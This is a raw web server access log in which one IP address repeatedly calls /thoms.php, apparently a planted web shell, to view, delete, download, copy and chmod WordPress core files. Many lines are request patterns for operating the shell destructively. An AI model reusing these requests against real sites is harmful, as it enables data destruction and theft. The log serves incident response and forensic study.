45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 200 49597 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:37 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /thoms.php?del=theme.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=theme.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 200 37259 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 200 12198 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /booking-wise2.com.tw/wp-includes/template-canvas.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /booking-wise2.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fauthor-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fauthor-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:39 -0400] "GET /booking-wise2.com.tw/wp-includes/Requests/ HTTP/1.1" 200 810 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 200 12399 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:39 -0400] "GET /thoms.php?dl=ms-blogs.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:39 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:39 -0400] "GET /thoms.php?del=sitemaps&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:39 -0400] "GET /thoms.php?del=bookmark.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:39 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /booking-wise2.com.tw/wp-includes/category-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 200 21227 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:39 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?chmod=https-detection.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?del=ms-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-pop3.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-pop3.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?dl=session.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59290 "http://163.245.207.76:443/thoms.php?dl=session.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:40 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 200 16098 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:41 -0400] "GET /thoms.php?dl=ms-site.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 200 30470 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:41 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 200 14149 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:42 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:41 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:42 -0400] "GET /thoms.php?dl=class-avif-info.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:42 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59440 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:42 -0400] "GET /thoms.php?del=l10n.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:42 -0400] "GET /thoms.php?del=widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59332 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:42 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 200 30933 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:43 -0400] "GET /thoms.php?del=class-wp-user.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:43 -0400] "GET /thoms.php?del=query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:43 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme-templates.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme-templates.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 200 12394 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /booking-wise2.com.tw/wp-includes/sitemaps.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 200 21100 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /booking-wise2.com.tw/wp-includes/block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ficons.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ficons.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-blogs.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-blogs.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 200 14734 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fsession.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fsession.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /booking-wise2.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /thoms.php?del=error-protection.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59452 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:44 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:45 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59407 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:45 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59192 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
